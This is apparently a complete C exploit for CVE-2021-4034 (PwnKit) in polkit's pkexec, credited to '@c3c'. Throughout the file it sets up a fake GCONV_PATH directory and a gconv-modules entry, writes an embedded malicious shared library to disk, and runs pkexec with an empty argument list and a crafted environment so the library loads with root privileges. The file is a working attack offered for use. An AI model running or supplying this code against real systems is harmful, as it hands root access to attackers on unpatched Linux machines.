cve-2021-4034.c

#include "pwninc.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

void fatal(char *f) {
    perror(f);
    exit(-1);
}

int main(void) {

    printf("CVE-2021-4034 - crossbuild by @c3c\n");
    printf("Acknowledgements: Qualys, blasty, berdav\n");

    struct stat st;
    char *a_argv[]={ NULL };
    char *a_envp[]={
        "pwnkit.so:.",
        "PATH=GCONV_PATH=.",
        "SHELL=/lol/i/do/not/exists",
        "CHARSET=PWNKIT",
        "LC_MESSAGES=en_US.UTF-8",
        "XAUTHORITY=../LOL",
        "GIO_USE_VFS=",
        NULL
    };

    if (stat("GCONV_PATH=.", &st) < 0) {
        if(mkdir("GCONV_PATH=.", 0777) < 0) {
            fatal("mkdir");
        }
    }

    int fd = open("GCONV_PATH=./pwnkit.so:.", O_CREAT|O_RDWR, 0777); 
    if (fd < 0) {
        fatal("open");
    }
    close(fd);


    FILE *fp = fopen("gconv-modules", "wb");
    if(fp == NULL) {
        fatal("fopen");
    }
    fprintf(fp, "module  UTF-8//    PWNKIT//    pwnkit    1\n");
    fclose(fp);

    FILE *fp2 = fopen("pwnkit.so", "wb");
    if(fp2 == NULL) {
        fatal("fopen2");
    }
    fwrite(pwnkit, 1, pwnkit_len, fp2);
    fclose(fp2);

    return execve("/usr/bin/pkexec", a_argv, a_envp);
}